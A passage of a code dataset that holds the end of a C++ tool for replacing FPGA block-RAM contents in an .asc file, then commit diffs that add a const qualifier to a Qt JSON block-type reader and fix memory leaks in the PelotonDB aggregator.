(to_hexfile.at(i-1).size() > to_hexfile.at(i).size())\n\t\t\tto_hexfile.at(i).push_back(false);\n\t\tif (to_hexfile.at(i-1).size() != to_hexfile.at(i).size()) {\n\t\t\tfprintf(stderr, \"Inconsistent word width at line %d of %s!\\n\", int(i+1), to_hexfile_n);\n\t\t\texit(1);\n\t\t}\n\t}\n\n\tif (from_hexfile.size() == 0 || from_hexfile.at(0).size() == 0) {\n\t\tfprintf(stderr, \"Empty from\/to hexfiles!\\n\");\n\t\texit(1);\n\t}\n\n\tif (verbose)\n\t\tfprintf(stderr, \"Loaded pattern for %d bits wide and %d words deep memory.\\n\", int(from_hexfile.at(0).size()), int(from_hexfile.size()));\n\n\n\t\/\/ -------------------------------------------------------\n\t\/\/ Create bitslices from pattern data\n\n\tmap<vector<bool>, pair<vector<bool>, int>> pattern;\n\n\tfor (int i = 0; i < int(from_hexfile.at(0).size()); i++)\n\t{\n\t\tvector<bool> pattern_from, pattern_to;\n\n\t\tfor (int j = 0; j < int(from_hexfile.size()); j++)\n\t\t{\n\t\t\tpattern_from.push_back(from_hexfile.at(j).at(i));\n\t\t\tpattern_to.push_back(to_hexfile.at(j).at(i));\n\n\t\t\tif (pattern_from.size() == 256) {\n\t\t\t\tif (pattern.count(pattern_from)) {\n\t\t\t\t\tfprintf(stderr, \"Conflicting from pattern for bit slice from_hexfile[%d:%d][%d]!\\n\", j, j-255, i);\n\t\t\t\t\texit(1);\n\t\t\t\t}\n\t\t\t\tpattern[pattern_from] = std::make_pair(pattern_to, 0);\n\t\t\t\tpattern_from.clear(), pattern_to.clear();\n\t\t\t}\n\t\t}\n\n\t\tassert(pattern_from.empty());\n\t\tassert(pattern_to.empty());\n\t}\n\n\tif (verbose)\n\t\tfprintf(stderr, \"Extracted %d bit slices from from\/to hexfile data.\\n\", int(pattern.size()));\n\n\n\t\/\/ -------------------------------------------------------\n\t\/\/ Read ascfile from stdin\n\n\tvector<string> ascfile_lines;\n\tmap<string, vector<vector<bool>>> ascfile_hexdata;\n\n\tfor (int i = 1; getline(std::cin, line); i++)\n\t{\n\tnext_asc_stmt:\n\t\tascfile_lines.push_back(line);\n\n\t\tif (line.substr(0, 9) == \".ram_data\")\n\t\t{\n\t\t\tauto &hexdata = ascfile_hexdata[line];\n\n\t\t\tfor (; getline(std::cin, line); i++) {\n\t\t\t\tif (line.substr(0, 1) == \".\")\n\t\t\t\t\tgoto next_asc_stmt;\n\t\t\t\tparse_hexfile_line(\"stdin\", i, hexdata, line);\n\t\t\t}\n\t\t}\n\t}\n\n\tif (verbose)\n\t\tfprintf(stderr, \"Found %d initialized bram cells in asc file.\\n\", int(ascfile_hexdata.size()));\n\n\n\t\/\/ -------------------------------------------------------\n\t\/\/ Replace bram data\n\n\tint max_replace_cnt = 0;\n\n\tfor (auto &bram_it : ascfile_hexdata)\n\t{\n\t\tauto &bram_data = bram_it.second;\n\n\t\tfor (int i = 0; i < 16; i++)\n\t\t{\n\t\t\tvector<bool> from_bitslice;\n\n\t\t\tfor (int j = 0; j < 256; j++)\n\t\t\t\tfrom_bitslice.push_back(bram_data.at(j \/ 16).at(16 * (j % 16) + i));\n\n\t\t\tauto p = pattern.find(from_bitslice);\n\t\t\tif (p != pattern.end())\n\t\t\t{\n\t\t\t\tauto &to_bitslice = p->second.first;\n\n\t\t\t\tfor (int j = 0; j < 256; j++)\n\t\t\t\t\tbram_data.at(j \/ 16).at(16 * (j % 16) + i) = to_bitslice.at(j);\n\n\t\t\t\tmax_replace_cnt = std::max(++p->second.second, max_replace_cnt);\n\t\t\t}\n\t\t}\n\t}\n\n\tint min_replace_cnt = max_replace_cnt;\n\tfor (auto &it : pattern)\n\t\tmin_replace_cnt = std::min(min_replace_cnt, it.second.second);\n\n\tif (min_replace_cnt != max_replace_cnt) {\n\t\tfprintf(stderr, \"Found some bitslices up to %d times, others only %d times!\\n\", max_replace_cnt, min_replace_cnt);\n\t\texit(1);\n\t}\n\n\tif (verbose)\n\t\tfprintf(stderr, \"Found and replaced %d instances of the memory.\\n\", max_replace_cnt);\n\n\n\t\/\/ -------------------------------------------------------\n\t\/\/ Write ascfile to stdout\n\n\tfor (size_t i = 0; i < ascfile_lines.size(); i++) {\n\t\tauto &line = ascfile_lines.at(i);\n\t\tstd::cout << line << std::endl;\n\t\tif (ascfile_hexdata.count(line)) {\n\t\t\tfor (auto &word : ascfile_hexdata.at(line)) {\n\t\t\t\tfor (int k = word.size()-4; k >= 0; k -= 4) {\n\t\t\t\t\tint digit = (word[k+3] ? 8 : 0) + (word[k+2] ? 4 : 0) + (word[k+1] ? 2 : 0) + (word[k] ? 1 : 0);\n\t\t\t\t\tstd::cout << \"0123456789abcdef\"[digit];\n\t\t\t\t}\n\t\t\t\tstd::cout << std::endl;\n\t\t\t}\n\t\t}\n\t}\n\n\treturn 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"blocktypesreader.h\"\n\n#include <QMap>\n#include \"flowchart\/blocktype.h\"\n#include <QIODevice>\n#include <QJsonDocument>\n#include <QJsonObject>\n#include <QJsonArray>\n#include <QString>\n#include \"flowchart\/datatype.h\"\n#include \"flowchart\/blockoption.h\"\n#include \"flowchart\/blockoptioninteger.h\"\n#include \"flowchart\/blockoptioncombobox.h\"\n#include <QSharedPointer>\n#include <QMap>\n\nBlockTypesReader::BlockTypesReader() {}\n\nQMap<QString, BlockType> BlockTypesReader::blockTypes() {\n    return m_blockTypes;\n}\n\nvoid BlockTypesReader::read(QIODevice *device) {\n    QByteArray bytes = device->readAll();\n    QJsonDocument doc(QJsonDocument::fromJson(bytes));\n    QJsonObject node = doc.object();\n    m_blockTypes = readBlockTypes(node[\"BlockTypes\"]);\n}\n\nQMap<QString, BlockType> BlockTypesReader::readBlockTypes(QJsonValue node) {\n    QJsonArray nodeArray = node.toArray();\n    QMap<QString, BlockType> blockTypes;\n    for (int i = 0; i < nodeArray.size(); i++) {\n        QJsonValue element = nodeArray[i];\n        BlockType bt = readBlockType(element);\n        blockTypes[bt.name()] = bt;\n    }\n    return blockTypes;\n}\n\nBlockType BlockTypesReader::readBlockType(QJsonValue node) {\n    QJsonObject nodeObject = node.toObject();\n    QString name = nodeObject[\"name\"].toString();\n    QString displayName = nodeObject[\"displayName\"].toString();\n    QMap<QString, DataType> inputs = readPinList(nodeObject[\"inputs\"]);\n    QMap<QString, DataType> outputs = readPinList(nodeObject[\"outputs\"]);\n    QMap<QString, QSharedPointer<const BlockOption> > options;\n    QJsonObject optionsNodeObject = nodeObject[\"options\"].toObject();\n    for (QJsonObject::const_iterator i = optionsNodeObject.begin(); i != optionsNodeObject.end(); i++) {\n        options[i.key()] = readBlockOption(i.value());\n    }\n    BlockType blockType(name, displayName, inputs, outputs, options);\n    return blockType;\n}\n\nQMap<QString, DataType> BlockTypesReader::readPinList(QJsonValue node) {\n    QJsonObject nodeObject = node.toObject();\n    QMap<QString, DataType> pinList;\n    QJsonObject::const_iterator i;\n    for (i = nodeObject.begin(); i != nodeObject.end(); i++) {\n        pinList[i.key()] = static_cast<DataType>(i.value().toInt());\n    }\n    return pinList;\n}\n\nQSharedPointer<const BlockOption> BlockTypesReader::readBlockOption(QJsonValue node) {\n    QJsonObject nodeObject = node.toObject();\n    QString displayName = nodeObject[\"displayName\"].toString();\n    QString defaultValue = nodeObject[\"defaultValue\"].toString();\n    QString optionType = nodeObject[\"optionType\"].toString();\n    if (optionType == \"integer\") {\n        int minimum = 0;\n        int maximum = 99;\n        QJsonValue minimumMaybe = nodeObject[\"minimum\"];\n        if (!(minimumMaybe.isNull() || minimumMaybe.isUndefined())) {\n            minimum = minimumMaybe.toInt();\n        }\n        QJsonValue maximumMaybe = nodeObject[\"maximum\"];\n        if (!(maximumMaybe.isNull() || minimumMaybe.isUndefined())) {\n            maximum = maximumMaybe.toInt();\n        }\n        return QSharedPointer<const BlockOption>(new BlockOptionInteger(displayName, defaultValue, minimum, maximum));\n    } else if (optionType == \"combobox\") {\n        QJsonObject choicesNodeObject = nodeObject[\"choices\"].toObject();\n        QMap<QString, QString> choices;\n        for (QJsonObject::const_iterator i = choicesNodeObject.begin(); i != choicesNodeObject.end(); i++) {\n            choices[i.key()] = i.value().toString();\n        }\n        return QSharedPointer<const BlockOption>(new BlockOptionComboBox(displayName, defaultValue, choices));\n    } else if (optionType == \"float\") {\n        \/\/ TODO: throw\n        throw \"abc\";\n    } else if (optionType == \"stringInput\") {\n        \/\/ TODO: throw\n        throw \"abc\";\n    } else {\n        \/\/ TODO: throw\n        throw \"abc\";\n    }\n}\n<commit_msg>Fix const mismatch in BlockTypesReader<commit_after>#include \"blocktypesreader.h\"\n\n#include <QMap>\n#include \"flowchart\/blocktype.h\"\n#include <QIODevice>\n#include <QJsonDocument>\n#include <QJsonObject>\n#include <QJsonArray>\n#include <QString>\n#include \"flowchart\/datatype.h\"\n#include \"flowchart\/blockoption.h\"\n#include \"flowchart\/blockoptioninteger.h\"\n#include \"flowchart\/blockoptioncombobox.h\"\n#include <QSharedPointer>\n#include <QMap>\n\nBlockTypesReader::BlockTypesReader() {}\n\nQMap<QString, BlockType> BlockTypesReader::blockTypes() const {\n    return m_blockTypes;\n}\n\nvoid BlockTypesReader::read(QIODevice *device) {\n    QByteArray bytes = device->readAll();\n    QJsonDocument doc(QJsonDocument::fromJson(bytes));\n    QJsonObject node = doc.object();\n    m_blockTypes = readBlockTypes(node[\"BlockTypes\"]);\n}\n\nQMap<QString, BlockType> BlockTypesReader::readBlockTypes(QJsonValue node) {\n    QJsonArray nodeArray = node.toArray();\n    QMap<QString, BlockType> blockTypes;\n    for (int i = 0; i < nodeArray.size(); i++) {\n        QJsonValue element = nodeArray[i];\n        BlockType bt = readBlockType(element);\n        blockTypes[bt.name()] = bt;\n    }\n    return blockTypes;\n}\n\nBlockType BlockTypesReader::readBlockType(QJsonValue node) {\n    QJsonObject nodeObject = node.toObject();\n    QString name = nodeObject[\"name\"].toString();\n    QString displayName = nodeObject[\"displayName\"].toString();\n    QMap<QString, DataType> inputs = readPinList(nodeObject[\"inputs\"]);\n    QMap<QString, DataType> outputs = readPinList(nodeObject[\"outputs\"]);\n    QMap<QString, QSharedPointer<const BlockOption> > options;\n    QJsonObject optionsNodeObject = nodeObject[\"options\"].toObject();\n    for (QJsonObject::const_iterator i = optionsNodeObject.begin(); i != optionsNodeObject.end(); i++) {\n        options[i.key()] = readBlockOption(i.value());\n    }\n    BlockType blockType(name, displayName, inputs, outputs, options);\n    return blockType;\n}\n\nQMap<QString, DataType> BlockTypesReader::readPinList(QJsonValue node) {\n    QJsonObject nodeObject = node.toObject();\n    QMap<QString, DataType> pinList;\n    QJsonObject::const_iterator i;\n    for (i = nodeObject.begin(); i != nodeObject.end(); i++) {\n        pinList[i.key()] = static_cast<DataType>(i.value().toInt());\n    }\n    return pinList;\n}\n\nQSharedPointer<const BlockOption> BlockTypesReader::readBlockOption(QJsonValue node) {\n    QJsonObject nodeObject = node.toObject();\n    QString displayName = nodeObject[\"displayName\"].toString();\n    QString defaultValue = nodeObject[\"defaultValue\"].toString();\n    QString optionType = nodeObject[\"optionType\"].toString();\n    if (optionType == \"integer\") {\n        int minimum = 0;\n        int maximum = 99;\n        QJsonValue minimumMaybe = nodeObject[\"minimum\"];\n        if (!(minimumMaybe.isNull() || minimumMaybe.isUndefined())) {\n            minimum = minimumMaybe.toInt();\n        }\n        QJsonValue maximumMaybe = nodeObject[\"maximum\"];\n        if (!(maximumMaybe.isNull() || minimumMaybe.isUndefined())) {\n            maximum = maximumMaybe.toInt();\n        }\n        return QSharedPointer<const BlockOption>(new BlockOptionInteger(displayName, defaultValue, minimum, maximum));\n    } else if (optionType == \"combobox\") {\n        QJsonObject choicesNodeObject = nodeObject[\"choices\"].toObject();\n        QMap<QString, QString> choices;\n        for (QJsonObject::const_iterator i = choicesNodeObject.begin(); i != choicesNodeObject.end(); i++) {\n            choices[i.key()] = i.value().toString();\n        }\n        return QSharedPointer<const BlockOption>(new BlockOptionComboBox(displayName, defaultValue, choices));\n    } else if (optionType == \"float\") {\n        \/\/ TODO: throw\n        throw \"abc\";\n    } else if (optionType == \"stringInput\") {\n        \/\/ TODO: throw\n        throw \"abc\";\n    } else {\n        \/\/ TODO: throw\n        throw \"abc\";\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/                         PelotonDB\n\/\/\n\/\/ aggregator.cpp\n\/\/\n\/\/ Identification: src\/backend\/executor\/aggregator.cpp\n\/\/\n\/\/ Copyright (c) 2015, Carnegie Mellon University Database Group\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"backend\/executor\/aggregator.h\"\n#include \"backend\/common\/logger.h\"\n\nnamespace peloton {\nnamespace executor {\n\n\/*\n * Create an instance of an aggregator for the specified aggregate\n * type, column type, and result type. The object is constructed in\n * memory from the provided memrory pool.\n *\/\nAgg *GetAggInstance(ExpressionType agg_type) {\n  Agg *aggregator;\n\n  switch (agg_type) {\n    case EXPRESSION_TYPE_AGGREGATE_COUNT:\n      aggregator = new CountAgg();\n      break;\n    case EXPRESSION_TYPE_AGGREGATE_COUNT_STAR:\n      aggregator = new CountStarAgg();\n      break;\n    case EXPRESSION_TYPE_AGGREGATE_SUM:\n      aggregator = new SumAgg();\n      break;\n    case EXPRESSION_TYPE_AGGREGATE_AVG:\n      aggregator = new AvgAgg(false);\n      break;\n    case EXPRESSION_TYPE_AGGREGATE_WEIGHTED_AVG:\n      aggregator = new AvgAgg(true);\n      break;\n    case EXPRESSION_TYPE_AGGREGATE_MIN:\n      aggregator = new MinAgg();\n      break;\n    case EXPRESSION_TYPE_AGGREGATE_MAX:\n      aggregator = new MaxAgg();\n      break;\n    default: {\n      std::string message = \"Unknown aggregate type \"\n          + std::to_string(agg_type);\n      throw UnknownTypeException(agg_type, message);\n    }\n  }\n\n  return aggregator;\n}\n\n\/*\n * Helper method responsible for inserting the results of the aggregation\n * into a new tuple in the output tile group as well as passing through any\n * additional columns from the input tile group.\n * FIXME: need to examine Value's uninlined data problem later.\n *\/\nbool Helper(const planner::AggregateV2Node *node, Agg **aggregates,\n            storage::DataTable *output_table, const AbstractTuple *prev_tuple,\n            executor::ExecutorContext* econtext) {\n  \/\/ Ignore null tuples\n  if (prev_tuple == nullptr)\n    return true;\n\n  auto schema = output_table->GetSchema();\n  std::unique_ptr<storage::Tuple> tuple(new storage::Tuple(schema, true));\n\n  \/*\n   * 1) Construct a vector of aggregated values\n   *\/\n  std::vector<Value> aggregate_values;\n  auto& aggregate_terms = node->GetUniqueAggTerms();\n  for (oid_t column_itr = 0; column_itr < aggregate_terms.size();\n      column_itr++) {\n    if (aggregates[column_itr] != nullptr) {\n      Value final_val = aggregates[column_itr]->Finalize();\n      aggregate_values.push_back(final_val);\n    }\n  }\n\n  \/*\n   * 2) Evaluate filter predicate;\n   * if fail, just return\n   *\/\n  std::unique_ptr<expression::ContainerTuple<std::vector<Value>> > aggref_tuple(\n      new expression::ContainerTuple<std::vector<Value>>(&aggregate_values));\n\n  auto predicate = node->GetPredicate();\n  if (nullptr != predicate\n      && predicate->Evaluate(prev_tuple, aggref_tuple.get(), econtext).IsFalse()) {\n    return true;  \/\/ Qual fails, do nothing\n  }\n\n  \/*\n   * 3) Construct the tuple to insert using projectInfo\n   *\/\n  node->GetProjectInfo()->Evaluate(tuple.get(), prev_tuple, aggref_tuple.get(),\n                                   econtext);\n\n  LOG_INFO(\"Tuple to Output :\");\n  std::cout << \"GROUP TUPLE :: \" << *(tuple.get());\n\n  auto location = output_table->InsertTuple(econtext->GetTransaction(),\n                                            tuple.get());\n  if (location.block == INVALID_OID) {\n    LOG_ERROR(\"Failed to insert tuple \\n\");\n    return false;\n  }\n\n  return true;\n}\n\n\/\/===--------------------------------------------------------------------===\/\/\n\/\/ Specialization of an Aggregator that uses a hash map to aggregate\n\/\/ tuples from the input table, i.e. it does not expect the input\n\/\/ table to be sorted on the group by key.\n\/\/===--------------------------------------------------------------------===\/\/\n\ntemplate<>\nAggregator<PlanNodeType::PLAN_NODE_TYPE_HASHAGGREGATE>::Aggregator(\n    const planner::AggregateV2Node *node, storage::DataTable *output_table,\n    executor::ExecutorContext* econtext)\n    : node(node),\n      output_table(output_table),\n      executor_context(econtext) {\n\n  group_by_key_values.resize(node->GetGroupbyColIds().size(),\n                             ValueFactory::GetNullValue());\n\n}\n\ntemplate<>\nAggregator<PlanNodeType::PLAN_NODE_TYPE_HASHAGGREGATE>::~Aggregator() {\n\n}\n\ntemplate<>\nbool Aggregator<PlanNodeType::PLAN_NODE_TYPE_HASHAGGREGATE>::Advance(\n    AbstractTuple *cur_tuple, AbstractTuple *prev_tuple __attribute__((unused)),\n    size_t num_columns) {\n\n  AggregateList *aggregate_list;\n\n  \/\/ Configure a group-by-key and search for the required group.\n  for (oid_t column_itr = 0; column_itr < node->GetGroupbyColIds().size();\n      column_itr++) {\n    Value cur_tuple_val = cur_tuple->GetValue(\n        node->GetGroupbyColIds()[column_itr]);\n    group_by_key_values[column_itr] = cur_tuple_val;\n  }\n\n  auto map_itr = aggregates_map.find(group_by_key_values);\n\n\/\/ Group not found. Make a new entry in the hash for this new group.\n  if (map_itr == aggregates_map.end()) {\n    LOG_INFO(\"Group-by key not found. Start a new group.\");\n    \/\/ Allocate new aggregate list\n    aggregate_list = new AggregateList();\n    aggregate_list->aggregates = new Agg *[node->GetUniqueAggTerms().size()];\n    \/\/ Make a deep copy of the first tuple we meet\n    for (size_t col_id = 0; col_id < num_columns; col_id++) {\n      aggregate_list->first_tuple_values.push_back(\n          ValueFactory::Clone(cur_tuple->GetValue(col_id)));\n    };\n\n    for (oid_t column_itr = 0; column_itr < node->GetUniqueAggTerms().size();\n        column_itr++) {\n      aggregate_list->aggregates[column_itr] = GetAggInstance(\n          node->GetUniqueAggTerms()[column_itr].first);\n    }\n\n    aggregates_map.insert(\n        HashAggregateMapType::value_type(group_by_key_values, aggregate_list));\n  }\n\/\/ Otherwise, the list is the second item of the pair.\n  else {\n    aggregate_list = map_itr->second;\n  }\n\n\/\/ Update the aggregation calculation\n  for (oid_t aggno = 0; aggno < node->GetUniqueAggTerms().size(); aggno++) {\n    Value value = node->GetUniqueAggTerms()[aggno].second->Evaluate(\n        cur_tuple, nullptr, this->executor_context);\n    aggregate_list->aggregates[aggno]->Advance(value);\n  }\n\n  return true;\n}\n\ntemplate<>\nbool Aggregator<PlanNodeType::PLAN_NODE_TYPE_HASHAGGREGATE>::Finalize(\n    AbstractTuple *prev_tuple __attribute__((unused))) {\n  for (auto entry : aggregates_map) {\n    \/\/ Construct a container for the first tuple\n    expression::ContainerTuple<std::vector<Value>> first_tuple(&entry.second->first_tuple_values);\n    if (Helper(node, entry.second->aggregates, output_table,\n               &first_tuple, this->executor_context) == false) {\n      return false;\n    }\n\n    \/\/ Clean up allocated storage\n    delete[] entry.second->aggregates;\n    for(auto &v : entry.second->first_tuple_values){\n      v.FreeUninlinedData();\n    }\n  }\n\n\/\/ TODO: if no record exists in input_table, we have to output a null record\n\/\/ only when it doesn't have GROUP BY. See difference of these cases:\n\/\/   SELECT SUM(A) FROM BBB ,   when BBB has no tuple\n\/\/   SELECT SUM(A) FROM BBB GROUP BY C,   when BBB has no tuple\n\n  return true;\n}\n\n\/\/===--------------------------------------------------------------------===\/\/\n\/\/ Specialization of an aggregator that expects the input table to be\n\/\/ sorted on the group by key.\n\/\/===--------------------------------------------------------------------===\/\/\ntemplate<>\nAggregator<PlanNodeType::PLAN_NODE_TYPE_AGGREGATE>::Aggregator(\n    const planner::AggregateV2Node *node, storage::DataTable *output_table,\n    executor::ExecutorContext* econtext)\n    : node(node),\n      output_table(output_table),\n      executor_context(econtext) {\n\n  group_by_columns = node->GetGroupbyColIds();\n\n\/\/ Create aggregators and initialize\n  aggregate_terms = node->GetUniqueAggTerms();\n  aggregates = new Agg *[aggregate_terms.size()];\n  ::memset(aggregates, 0, sizeof(Agg *) * aggregate_terms.size());\n}\n\ntemplate<>\nAggregator<PlanNodeType::PLAN_NODE_TYPE_AGGREGATE>::~Aggregator() {\n\/\/ Clean up aggregators\n  for (oid_t column_itr = 0; column_itr < aggregate_terms.size();\n      column_itr++) {\n    delete aggregates[column_itr];\n  }\n  delete[] aggregates;\n}\n\ntemplate<>\nbool Aggregator<PlanNodeType::PLAN_NODE_TYPE_AGGREGATE>::Advance(\n    AbstractTuple *cur_tuple, AbstractTuple *prev_tuple,\n    size_t __attribute__((unused))) {\n  bool start_new_agg = false;\n\n\/\/ Check if we are starting a new aggregate tuple\n  if (prev_tuple == nullptr) {\n    LOG_INFO(\"Prev tuple is nullptr!\");\n    start_new_agg = true;\n  } else {\n    \/\/ Compare group by columns\n    for (oid_t column_itr = 0; column_itr < group_by_columns.size();\n        column_itr++) {\n      Value lval = cur_tuple->GetValue(group_by_columns[column_itr]);\n      Value rval = prev_tuple->GetValue(group_by_columns[column_itr]);\n      bool not_equal = lval.OpNotEquals(rval).IsTrue();\n\n      if (not_equal) {\n        LOG_INFO(\"Group-by columns changed.\");\n        start_new_agg = true;\n        break;\n      }\n    }\n  }\n\n\/\/ If we have started a new aggregate tuple\n  if (start_new_agg) {\n    LOG_INFO(\"Started a new group!\");\n\n    if (Helper(node, aggregates, output_table, prev_tuple,\n               this->executor_context) ==\n    false) {\n      return false;\n    }\n\n    \/\/ Create aggregate\n    for (oid_t column_itr = 0; column_itr < aggregate_terms.size();\n        column_itr++) {\n      \/\/ Clean up previous aggregate\n      delete aggregates[column_itr];\n      aggregates[column_itr] = GetAggInstance(\n          aggregate_terms[column_itr].first);\n    }\n  }\n\n\/\/ Update the aggregation calculation\n  for (oid_t column_itr = 0; column_itr < aggregate_terms.size();\n      column_itr++) {\n    Value value = aggregate_terms[column_itr].second->Evaluate(\n        cur_tuple, nullptr, this->executor_context);\n    aggregates[column_itr]->Advance(value);\n  }\n\n  return true;\n}\n\ntemplate<>\nbool Aggregator<PlanNodeType::PLAN_NODE_TYPE_AGGREGATE>::Finalize(\n    AbstractTuple *prev_tuple) {\n  if (Helper(node, aggregates, output_table, prev_tuple,\n             this->executor_context) ==\n             false) {\n    return false;\n  }\n\n\/\/ TODO: if no record exists in input_table, we have to output a null record\n\/\/ only when it doesn't have GROUP BY. See difference of these cases:\n\/\/   SELECT SUM(A) FROM BBB ,   when BBB has no tuple\n\/\/   SELECT SUM(A) FROM BBB GROUP BY C,   when BBB has no tuple\n\n  return true;\n}\n\n}  \/\/ namespace executor\n}  \/\/ namespace peloton\n<commit_msg>Fix a bunch of memory leaks in aggregator.cpp<commit_after>\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/                         PelotonDB\n\/\/\n\/\/ aggregator.cpp\n\/\/\n\/\/ Identification: src\/backend\/executor\/aggregator.cpp\n\/\/\n\/\/ Copyright (c) 2015, Carnegie Mellon University Database Group\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"backend\/executor\/aggregator.h\"\n#include \"backend\/common\/logger.h\"\n\nnamespace peloton {\nnamespace executor {\n\n\/*\n * Create an instance of an aggregator for the specified aggregate\n * type, column type, and result type. The object is constructed in\n * memory from the provided memrory pool.\n *\/\nAgg *GetAggInstance(ExpressionType agg_type) {\n  Agg *aggregator;\n\n  switch (agg_type) {\n    case EXPRESSION_TYPE_AGGREGATE_COUNT:\n      aggregator = new CountAgg();\n      break;\n    case EXPRESSION_TYPE_AGGREGATE_COUNT_STAR:\n      aggregator = new CountStarAgg();\n      break;\n    case EXPRESSION_TYPE_AGGREGATE_SUM:\n      aggregator = new SumAgg();\n      break;\n    case EXPRESSION_TYPE_AGGREGATE_AVG:\n      aggregator = new AvgAgg(false);\n      break;\n    case EXPRESSION_TYPE_AGGREGATE_WEIGHTED_AVG:\n      aggregator = new AvgAgg(true);\n      break;\n    case EXPRESSION_TYPE_AGGREGATE_MIN:\n      aggregator = new MinAgg();\n      break;\n    case EXPRESSION_TYPE_AGGREGATE_MAX:\n      aggregator = new MaxAgg();\n      break;\n    default: {\n      std::string message = \"Unknown aggregate type \"\n          + std::to_string(agg_type);\n      throw UnknownTypeException(agg_type, message);\n    }\n  }\n\n  return aggregator;\n}\n\n\/*\n * Helper method responsible for inserting the results of the aggregation\n * into a new tuple in the output tile group as well as passing through any\n * additional columns from the input tile group.\n * FIXME: need to examine Value's uninlined data problem later.\n *\/\nbool Helper(const planner::AggregateV2Node *node, Agg **aggregates,\n            storage::DataTable *output_table, const AbstractTuple *prev_tuple,\n            executor::ExecutorContext* econtext) {\n  \/\/ Ignore null tuples\n  if (prev_tuple == nullptr)\n    return true;\n\n  auto schema = output_table->GetSchema();\n  std::unique_ptr<storage::Tuple> tuple(new storage::Tuple(schema, true));\n\n  \/*\n   * 1) Construct a vector of aggregated values\n   *\/\n  std::vector<Value> aggregate_values;\n  auto& aggregate_terms = node->GetUniqueAggTerms();\n  for (oid_t column_itr = 0; column_itr < aggregate_terms.size();\n      column_itr++) {\n    if (aggregates[column_itr] != nullptr) {\n      Value final_val = aggregates[column_itr]->Finalize();\n      aggregate_values.push_back(final_val);\n    }\n  }\n\n  \/*\n   * 2) Evaluate filter predicate;\n   * if fail, just return\n   *\/\n  std::unique_ptr<expression::ContainerTuple<std::vector<Value>> > aggref_tuple(\n      new expression::ContainerTuple<std::vector<Value>>(&aggregate_values));\n\n  auto predicate = node->GetPredicate();\n  if (nullptr != predicate\n      && predicate->Evaluate(prev_tuple, aggref_tuple.get(), econtext).IsFalse()) {\n    return true;  \/\/ Qual fails, do nothing\n  }\n\n  \/*\n   * 3) Construct the tuple to insert using projectInfo\n   *\/\n  node->GetProjectInfo()->Evaluate(tuple.get(), prev_tuple, aggref_tuple.get(),\n                                   econtext);\n\n  LOG_INFO(\"Tuple to Output :\");\n  std::cout << \"GROUP TUPLE :: \" << *(tuple.get());\n\n  auto location = output_table->InsertTuple(econtext->GetTransaction(),\n                                            tuple.get());\n  if (location.block == INVALID_OID) {\n    LOG_ERROR(\"Failed to insert tuple \\n\");\n    return false;\n  }\n\n  return true;\n}\n\n\/\/===--------------------------------------------------------------------===\/\/\n\/\/ Specialization of an Aggregator that uses a hash map to aggregate\n\/\/ tuples from the input table, i.e. it does not expect the input\n\/\/ table to be sorted on the group by key.\n\/\/===--------------------------------------------------------------------===\/\/\n\ntemplate<>\nAggregator<PlanNodeType::PLAN_NODE_TYPE_HASHAGGREGATE>::Aggregator(\n    const planner::AggregateV2Node *node, storage::DataTable *output_table,\n    executor::ExecutorContext* econtext)\n    : node(node),\n      output_table(output_table),\n      executor_context(econtext) {\n\n  group_by_key_values.resize(node->GetGroupbyColIds().size(),\n                             ValueFactory::GetNullValue());\n\n}\n\ntemplate<>\nAggregator<PlanNodeType::PLAN_NODE_TYPE_HASHAGGREGATE>::~Aggregator() {\n\n}\n\ntemplate<>\nbool Aggregator<PlanNodeType::PLAN_NODE_TYPE_HASHAGGREGATE>::Advance(\n    AbstractTuple *cur_tuple, AbstractTuple *prev_tuple __attribute__((unused)),\n    size_t num_columns) {\n\n  AggregateList *aggregate_list;\n\n  \/\/ Configure a group-by-key and search for the required group.\n  for (oid_t column_itr = 0; column_itr < node->GetGroupbyColIds().size();\n      column_itr++) {\n    Value cur_tuple_val = cur_tuple->GetValue(\n        node->GetGroupbyColIds()[column_itr]);\n    group_by_key_values[column_itr] = cur_tuple_val;\n  }\n\n  auto map_itr = aggregates_map.find(group_by_key_values);\n\n\/\/ Group not found. Make a new entry in the hash for this new group.\n  if (map_itr == aggregates_map.end()) {\n    LOG_INFO(\"Group-by key not found. Start a new group.\");\n    \/\/ Allocate new aggregate list\n    aggregate_list = new AggregateList();\n    aggregate_list->aggregates = new Agg *[node->GetUniqueAggTerms().size()];\n    \/\/ Make a deep copy of the first tuple we meet\n    for (size_t col_id = 0; col_id < num_columns; col_id++) {\n      aggregate_list->first_tuple_values.push_back(\n          ValueFactory::Clone(cur_tuple->GetValue(col_id)));\n    };\n\n    for (oid_t column_itr = 0; column_itr < node->GetUniqueAggTerms().size();\n        column_itr++) {\n      aggregate_list->aggregates[column_itr] = GetAggInstance(\n          node->GetUniqueAggTerms()[column_itr].first);\n    }\n\n    aggregates_map.insert(\n        HashAggregateMapType::value_type(group_by_key_values, aggregate_list));\n  }\n\/\/ Otherwise, the list is the second item of the pair.\n  else {\n    aggregate_list = map_itr->second;\n  }\n\n\/\/ Update the aggregation calculation\n  for (oid_t aggno = 0; aggno < node->GetUniqueAggTerms().size(); aggno++) {\n    Value value = node->GetUniqueAggTerms()[aggno].second->Evaluate(\n        cur_tuple, nullptr, this->executor_context);\n    aggregate_list->aggregates[aggno]->Advance(value);\n  }\n\n  return true;\n}\n\ntemplate<>\nbool Aggregator<PlanNodeType::PLAN_NODE_TYPE_HASHAGGREGATE>::Finalize(\n    AbstractTuple *prev_tuple __attribute__((unused))) {\n  for (auto entry : aggregates_map) {\n    \/\/ Construct a container for the first tuple\n    expression::ContainerTuple<std::vector<Value>> first_tuple(&entry.second->first_tuple_values);\n    if (Helper(node, entry.second->aggregates, output_table,\n               &first_tuple, this->executor_context) == false) {\n      return false;\n    }\n\n    \/\/ Clean up allocated storage\n    for(size_t aggno = 0; aggno < node->GetUniqueAggTerms().size(); aggno++){\n      delete entry.second->aggregates[aggno];\n    }\n    delete [] entry.second->aggregates;\n\n    for(auto &v : entry.second->first_tuple_values){\n      v.FreeUninlinedData();\n    }\n    delete entry.second;\n  }\n\n\/\/ TODO: if no record exists in input_table, we have to output a null record\n\/\/ only when it doesn't have GROUP BY. See difference of these cases:\n\/\/   SELECT SUM(A) FROM BBB ,   when BBB has no tuple\n\/\/   SELECT SUM(A) FROM BBB GROUP BY C,   when BBB has no 